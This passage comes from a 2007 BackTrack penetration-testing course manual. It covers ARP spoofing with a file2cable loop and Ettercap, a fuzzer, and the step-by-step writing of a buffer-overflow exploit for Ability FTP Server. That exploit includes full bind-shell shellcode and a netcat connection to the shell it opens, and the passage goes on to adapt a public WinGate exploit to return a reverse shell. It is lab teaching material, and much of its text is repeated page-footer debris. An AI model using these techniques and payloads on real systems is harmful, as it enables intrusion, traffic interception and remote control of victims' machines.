TCP open blackjack[ 1025] from [Link] ttl 128
TCP open cap[ 1026] from [Link] ttl 128
TCP open exosee[ 1027] from [Link] ttl 128
TCP open ms-streaming[ 1755] from [Link] ttl 128
TCP open unknown[ 6666] from [Link] ttl 128
BT ~ #
BT ~ # unicornscan [Link]/24:139
TCP open netbios-ssn[ 139] from [Link] ttl 128
TCP open netbios-ssn[ 139] from [Link] ttl 128
TCP open netbios-ssn[ 139] from [Link] ttl 128
TCP open netbios-ssn[ 139] from [Link] ttl 128
TCP open netbios-ssn[ 139] from [Link] ttl 64
BT ~ #
129
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Unicornscan can log all input to a database, for easier analysis, using the
-epgsqldb option.
This feature is especially convenient for scanning large networks and then
searching for specific information using database queries.
130
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
131
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BackTrack has several other port scanners and frontends such as Autoscan,
Umit, NmapFE etc.
132
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
[Link]
133
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We'll capture this ARP reply, save it to disk and open it with a HEX editor.
134
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Before you freak out, take a deep breath and notice the following:
(These IPs are NOT relevant for the labs, they just show my network.)
Can you identify these addresses in the packet? Take a minute or so to do this.
Now that we have an ARP reply template, let's modify it with our HEX editor in
order to implement an ARP spoofing attack in our network.
135
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
The victim packet will try to fool the victim into believing that our attacker MAC
address has the IP of the default gateway ([Link]). In order to do this, we
will have to customize the raw ARP reply.
We prepare the packet. Please review it carefully and make sure you understand
each of the changes made.
136
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
After sending this packet to the network using file2cable, the victim's machine
has the following ARP cache entries:
Since the more updated ARP cache entry takes precedence, all traffic redirected
to the gateway will now reach our MAC address.
137
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Now we can send our ARP replies to both the gateway and the victim using a
simple bash script:
#!/bin/bash
while [ 1 ];do
file2cable -i eth0 -f arp-victim
file2cable -i eth0 -f arp-gateway
sleep 2
done
This bash script will send our packets to the victim and gateway every 2 seconds
(so the victim ARP cache does not get an opportunity to repair itself.)
bt ~ # ./[Link]
file2cable - by FX <fx@[Link]>
file2cable - by FX <fx@[Link]>
file2cable - by FX <fx@[Link]>
138
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Now, traffic sent to the internet from the victim is first sent to our attacking
computer and then forwarded to the gateway. By running a sniffer on our
attacking machine, we see that the victim has started an FTP session to an FTP
server on the internet.
139
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
5.3 Ettercap
As usual, customized tools have been created for initiating ARP spoofing attacks.
A nice tool to check out for Windows Platforms is Cain and Able, found on
[Link] This is a powerful tool capable of sniffing, ARP spoofing,
DNS spoofing, password cracking and more.
bt ~ # ettercap -G
140
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
141
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
/usr/local/share/ettercap/[Link]
[Link] A [Link]
*.[Link] A [Link]
142
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
143
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We will now create a simple Ettercap filter that will replace several words on this
page, in real time. Once the victim browses to this page, his traffic will be
redirected through the attacking machine. Ettercap inspects this traffic and can
modify it in real time.
144
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
145
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Once the victim visits this page, Ettercap manipulates the data and changes our
fields.
146
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
5.3.3 Exercise 12
147
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Lab Objectives :
Objective details :
By the end of this module the student should be familiar with the concepts
behind Buffer Overflow attacks and should be able to analyze and write exploit
code for simple buffer overflow vulnerabilities.
Buffer overflows are one of my favorite topics in offensive security. I always find
it fascinating (and somehow mystical!) to think about the very precise
procedures that occur when an exploit is used to remotely execute code on a
victim machine.
In this lesson we will walk through a live example of a buffer overflow and go
through the various stages of the exploit development life cycle. By the end of
this module we will port our newly written exploit to the Metasploit Framework
and bask in the glory of various code execution options.
148
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Overview
I always thought buffer overflow attacks were really complicated. It was only
after I wrote my first exploit that I actually understood the relative simplicity of
this task. There are however several prerequisites you should make sure to have
under your belt. I strongly suggest to do some reading on Windows memory
management and to familiarize yourself with some basic assembly instructions
(JMP/CALL, MOV, etc) and CPU registers (ESP, EBP, EIP, etc).
Here are some links you might want to visit if these topics are alien to you.
[Link]
[Link]
Generally speaking there are three main ways of identifying flaws in applications.
If the source code of the application is available, then Source Code Review is
probably the easiest way to identify bugs. If the application is closed source, then
we can use Reverse Engineering techniques or fuzzing in order to find bugs.
In this module, we will discuss the latter method, fuzzing.
149
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
6.2 Fuzzing
Fuzzing involves sending malformed strings into application input and watching
for unexpected crashes. There are many useful fuzzers, most of which are
present in BackTrack (/pentest/fuzzers). One of the most prominent fuzzers is
Spike, which we will learn to operate for simple clear text protocol fuzzing in a
separate module.
#!/usr/bin/python
import socket
150
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
This is the simplest example of a fuzzer I could come up with. Please go over the
code and try to understand the logic behind the fuzzing process. Please note that
this fuzzer is extremely limited and should not be used for real world fuzzing.
It's just a short example to demonstrate the fuzzing process.
We'll try this fuzzer on a small FTP server - “Ability Server – v2.3.4”.
bt ~ # ./[Link]
Fuzzing MKD:1
Fuzzing MKD:20
Fuzzing MKD:40
Fuzzing MKD:60
Fuzzing MKD:80
...
...
Fuzzing STOR:860
Fuzzing STOR:880
Fuzzing STOR:900
Fuzzing STOR:920
Fuzzing STOR:940
Traceback (most recent call last):
File "./[Link]", line 26, in ?
[Link](1024)
[Link]: (104, 'Connection reset by peer')
bt ~ #
Ability server crashes due to the command STOR <940 Bytes>, and the script
exits.
151
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We saw that a crash occurred when sending a STOR command with about 1000
bytes. Our first task is to try to replicate the crash in order to study it. We'll
begin by writing a simple python script which logs into the FTP server and sends
an overly long STOR command.
#!/usr/bin/python
import socket
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
Now, go to your Windows 2000 SP4 machine and attach Ability server to
OllyDbg, as shown in the video. Once attached, execute the python script and
watch Olly closely.
BT tmp # ./[Link]
152
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Notice that our overly long buffer has overwritten segments in the memory
which have eventually overwritten the EIP.
As the EIP controls the execution flow of the program, we can now hijack the
application flow and redirect the application to continue executing whatever we
want. What usually happens in these situations is that the attacker introduces
his/her own code (shellcode), usually inside the buffer. After execution flow is
gained, it's redirected to the attacker's shellcode.
153
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Before we charge into exploit code, we still need to study the crash and
understand it better. These are just some of the questions that need answering:
154
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
The faster method of doing this is by sending a unique string of 2000 bytes and
identifying the four bytes that overwrite EIP immediately. We will use this
method in this exercise.
We can generate this buffer using the [Link] script and pass a buffer size as
an argument.
BT ~ # [Link] 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac
7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4A
f5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2
Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al
0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7A
n8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5
Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At
3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0A
w1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8
Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb
6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3B
e4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1
Bg2B3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1B
h2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9
Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm
7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4B
p5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2
Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv
0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7B
x8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5
Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd
3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0C
g1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8
Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl
6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3C
o4Co5Co
155
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We now replace our 2000 “A”s with this buffer and send it. As expected, Ability
Server crashes and EIP is overwritten with \x42\67\x32\x42 – which translates to
Bg2B. These characters are bolded out in the buffer text above.
This means that EIP is overwritten by our buffer from the 966th character to the
970th character. Please verify this for yourself.
156
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
#!/usr/bin/python
import socket
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
This script results in the following crash. As we can see, we now know exactly
which bytes are the ones needed in order to fully control EIP.
157
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's assume that shellcode is a user defined code which we would like to
execute on the victim machine.
We need to find a convenient offset to place our shellcode in the buffer. In order
to do this, let's examine the CPU registers and memory after the crash.
158
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Notice that ESP points to some of our user controlled buffer – the “C”s.
In fact, after looking at the few bytes before the address which ESP points to, we
will see some familiar characters: our “A”s, “B”s and 16 “C”s.
We've just found a place for our shellcode which is easily accessible by the ESP
register. We now need to make sure we have enough space for our shellcode.
We see that ESP points to 0137b6b8 (these addresses may be different on your
machine). If you follow down the memory dump window, you will notice that our
buffer gets mangled (with an error message) at approximately 0137bAA0.
A quick calculation should give us the amount of space we can use for our
shellcode - 0137bAA0 - 0137b6b8 = 3e8 (1000 dec).
1000 bytes is more than enough for almost any shellcode, so there's no need to
check for more space.
159
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We are now able to redirect the execution flow of the application (as we control
EIP), and have found a convenient place to locate our shellcode – ESP points to
it. We now have two more tasks before we're done.
What we need is a more generic way to get to the address which ESP points to.
What comes to mind is the JMP ESP command which would redirect us straight
to ESP, which is where our shellcode will be located. However, we can't simply
shove an ASM command into EIP. We need to remember that EIP holds memory
addresses, not commands. What we need to do is find an address in one of the
core system dlls (their addresses are static, across service packs) which contains
the JMP ESP command. (You might want to read that over a few times).
160
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We can easily find a return address using OllyDbg or other specialized tools such
as findjump.
161
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We find the first JMP ESP command in [Link] at address 77E14C29. We will
replace our \x42\x42\x42\x42 string with this address, so that at crash time, EIP
will point to the command JMP ESP in [Link]. This will cause the application
to then jump to the address present in ESP, where our shellcode will reside. We
can now edit our PoC to include this new information.
162
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
#!/usr/bin/python
import socket
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
We've made two additions to the PoC which might be worth mentioning.
Nops – we've padded the 16 bytes after the return address with \x90- NOPs (No
Operation). This opcode simply tells the CPU to move on in the command
sequence.
BreakPoints – For testing purposes, our shellcode buffer is filled with “\xCC”'s –
Breakpoints. This opcode pauses the application in the debugger, so we can
examine the output.
163
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
As you can see, we have successfully landed in our Breakpoints, and anything
replacing those breakpoints will be executed on the machine.
164
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We will use the Metasploit shellcode generator to quickly create our shellcode.
Let's check out the Win32 Bind (default to port 4444) shellcode:
Provided By:
vlad902 <vlad902 [at] [Link]>
Available Options:
Options: Name Default Description
required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell
Advanced Options:
Advanced (Msf::Payload::win32_bind):
------------------------------------
Description:
Listen for connection and spawn a shell
165
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We can now copy this shellcode over to our PoC. Our final exploit should look
similar to this:
166
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
#!/usr/bin/python
import socket
shellcode =("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0")
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
167
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We can now execute the script and try to connect to port 4444 on the victim
machine.
BT ~ # ifconfig eth0
eth0 ..Link encap:Ethernet HWaddr 00:50:56:C0:00:08
inet addr:[Link] Bcast:[Link] Mask:[Link]
inet6 addr: fe80::250:56ff:fec0:8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:261 errors:0 dropped:0 overruns:0 frame:0
TX packets:69 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
BT ~ # ./[Link]
BT ~ # nc -v [Link] 4444
[Link]: inverse host lookup failed: Unknown host
(UNKNOWN) [[Link]] 4444 (krb524) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\abilitywebserver>ipconfig
ipconfig
C:\abilitywebserver>
168
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Our exploit is working now. However it can be slightly edited to be more reliable
in the exploitation process.
We nudged out buffer by 16 characters so that ESP will point to the beginning of
our buffer. This is what I call a “close shave”. We can improve the stability of the
exploit by allowing for a margin of error. Rather than ESP pointing directly to
our shellcode, we can pad the contents of the address ESP points to by a few
nops. This will allow a more lenient “landing” into our shellcode. Our buffer
should visually look like this:
ESP
Take some time to think about this and understand the reason behind the
improvement.
169
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
6.9.1 Exercise 13
Lab Requirements:
● BackTrack.
● Internet connection.
1. Connect to your Windows XP SP1 lab machine using Remote Desktop (you will be
debugging Alibity there).
2. Write a fuzzer for Ability FTP server, and check the APPE command for bugs.
3. Identify the vulnerability and write a remote exploit for the APPE vulnerability.
Make sure you manage to get a reverse shell!
4. While debugging, make sure you can answer the following questions:
170
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
171
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
A staggering amount of vulnerabilities are found every day, and only some are
reported. A nice summary can be found at:
[Link]
I hate to use up so much space for this example, but I feel it is necessary. These
were the vulnerabilities reported on the 11/09/06:
172
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
173
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
174
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
2006-11-09
[Link]
175
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
On many occasions, proof of concept (PoC) exploits are released together with a
public advisory. The philosophical debate of whether releasing PoC codes has a
positive or negative effect is beyond the scope of this course - it's something you
need to figure out for yourself :)
176
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
For now, let's assume we know for a fact that a Windows XP SP1 machine with IP
address [Link] is vulnerable to MS03-026 – the RPC DCOM vulnerability.
BackTrack has several exploit archives (such as Security Focus and milw0rm
archives) in the /pentest/exploits directory.
bt ~ # cd /pentest/exploits/milw0rm/
bt milw0rm # cat [Link] |grep -i "dcom"
./platforms/windows/dos/61.c MS Windows 2000 RPC DCOM Interface DoS Exploit
./platforms/windows/remote/100.c MS Windows (RPC DCOM) Long Filename Overflow Exploit
./platforms/windows/remote/103.c MS Windows (RPC DCOM2) Remote Exploit (MS03-039)
./platforms/windows/remote/64.c MS Windows (RPC DCOM) Remote Buffer Overflow Exploit
./platforms/windows/remote/66.c MS Windows (RPC DCOM) Remote Exploit (w2k+XP Targets)
./platforms/windows/remote/69.c MS Windows RPC DCOM Remote Exploit (18 Targets)
./platforms/windows/remote/70.c MS Windows (RPC DCOM) Remote Exploit (48 Targets)
./platforms/windows/remote/76.c MS Windows (RPC DCOM) Remote Exploit (Universal Targets)
./platforms/windows/remote/97.c MS Windows (RPC DCOM) Scanner (MS03-039)
./rport/135/100.c MS Windows (RPC DCOM) Long Filename Overflow Exploit (MS03-026)
./rport/135/103.c MS Windows (RPC DCOM2) Remote Exploit (MS03-039)
./rport/135/64.c MS Windows (RPC DCOM) Remote Buffer Overflow Exploit
./rport/135/66.c MS Windows (RPC DCOM) Remote Exploit (w2k+XP Targets)
./rport/135/69.c MS Windows RPC DCOM Remote Exploit (18 Targets)
./rport/135/70.c MS Windows (RPC DCOM) Remote Exploit (48 Targets)
./rport/135/76.c MS Windows (RPC DCOM) Remote Exploit (Universal Targets)
./rport/135/97.c MS Windows (RPC DCOM) Scanner (MS03-039)
bt milw0rm #
Several versions are written for compilation under Windows operating system
while others are written for compilation on Linux. We can identify the
compilation environment by inspecting the exploit code headers.
177
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
Back to our example, let's filter out all the “Windows compilation environment”
exploits, and remain with Linux based ones:
bt milw0rm # cat [Link] |grep -i dcom | cut -d" " -f1 |xargs grep sys |cut -d":" -f1 |sort -u
./platforms/windows/remote/66.c
./platforms/windows/remote/69.c
./platforms/windows/remote/76.c
./platforms/windows/remote/97.c
./rport/135/66.c
./rport/135/69.c
./rport/135/76.c
./rport/135/97.c
bt milw0rm #
178
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
bt tmp #
After reading the usage, we will now try to use this public exploit against our
victim:
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
C:\WINDOWS\system32>
179
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Things rarely go as smoothly as this. Public exploits are as good as their coders,
and often do not work in real live situations without minor tweaking. This could
be due to several reasons such as using the wrong return addresses or improper
formatting of exploit code.
Let's try another example. We need to hack into a victim machine, and receive a
reverse shell. We'll assume that we know the victim is running Windows XP SP1.
BT ~ # Nmap172.16.1.130
180
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # nc -v [Link] 21
[Link]: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [[Link]] 21 (ftp) open
220 WinGate Engine FTP Gateway ready
punt!
3. We try enumerating the service running on port 80, however it does not respond
to a manual GET request.
BT ~ # nc -v [Link] 80
[Link]: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [[Link]] 80 (http) open
GET / HTTP/1.0
punt!
181
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
4. We make a more aggressive service identification attempt using the Nmap -sV
argument.
182
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
SF:r\n\r\n<HTML><HEAD><TITLE>Browser\x20Error</TITLE></HEAD>\r\n<BODY><H1>
SF:Browser\x20Error</H1><P><P>Your\x20Browser\x20sent\x20a\x20malformed\x2
SF:0request\.\x20You\x20may\x20need\x20to\x20configure\x20your\x20browser\
SF:x20to\x20use\x20proxies,\x20or\x20you\x20may\x20need\x20to\x20change\x2
SF:0the\x20port\x20that\x20your\x20webserver\x20is\x20using\.\r\n</BODY></
SF:HTML>\r\n")%r(FourOhFourRequest,1B3,"HTTP/1\.1\x20400\x20Malformed\x20R
SF:equest\r\nServer:\x20WinGate\x206\.1\.1\x20\(Build\x201077\)\r\nDate:\x
SF:20Tue,\x2012\x20Dec\x202006\x2006:30:38\x20GMT\r\nCache-control:\x20no-
SF:cache\r\nConnection:\x20close\r\nContent-type:\x20text/html\r\n\r\n<HTM
SF:L><HEAD><TITLE>Browser\x20Error</TITLE></HEAD>\r\n<BODY><H1>Browser\x20
SF:Error</H1><P><P>Your\x20Browser\x20sent\x20a\x20malformed\x20request\.\
SF:x20You\x20may\x20need\x20to\x20configure\x20your\x20browser\x20to\x20us
SF:e\x20proxies,\x20or\x20you\x20may\x20need\x20to\x20change\x20the\x20por
SF:t\x20that\x20your\x20webserver\x20is\x20using\.\r\n</BODY></HTML>\r\n");
MAC Address: 00:0C:29:F8:36:2B (VMware)
5. We can see that Nmap has received some error message from the service, and
from this error message, we get an indication that the service may be running a
Wingate proxy. We then browse to our local exploit archive and search for
possible Wingate exploits.
BT ~ # cd /pentest/exploits/milw0rm/
BT milw0rm # cat [Link] |grep -i wingate
./platforms/windows/remote/[Link] QBik Wingate 6.1.1.1077 (POST) Remote Buffer
Overflow Exploit
./rport/80/[Link] QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit
BT milw0rm #
183
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
6. We've found one. We'll copy it to the /tmp directory, and try to run it with no
arguments.
BT milw0rm # cd /tmp/
BT tmp # [Link]
7. Looks like there's a problem with the code. We open the exploit code for editing,
and see that a Perl shebang line is missing.
#!/usr/bin/perl
### *** Proof of concept (not for "in the wild" kiddies) ***
### QBik Wingate version 6.1.1.1077 remote exploit for Win2k SP4 (german)
###
use IO::Socket;
184
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
8. As we inspect the code, we notice several interesting things. The return address
is set for a Windows 2000 German OS, and the shellcode is a bindshell. Both of
these parameters need to be changed if we want to successfully exploit this
victim machine, and receive a reverse shell.
We'll browse to the Metasploit Opcode Database, and search for a JMP ESI
command within common DLL's in Windows XP SP1.
185
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We take the first address we find relevant (0x773d176d in [Link]), and fix
the JMP ESI address.
[Link] now want to generate a reverse shell shellcode, and encode it with the
PexAlphaNum encoder. We'll try and stick the the original exploit code
development lines (which also used PexAlphaNum) as there might be exploit
restrictions such as “Bad Characters” we're not aware of yet.
[Link]'ll create a raw binary dump of a reverse shell, to our attacking IP on port
4321. We'll then encode it using the PexAlphaNum encoder, and output it in Perl
syntax.
186
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
187
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
"\x43\x35\x48\x46\x4a\x46\x43\x53\x44\x33\x4a\x56\x47\x57\x43\x57".
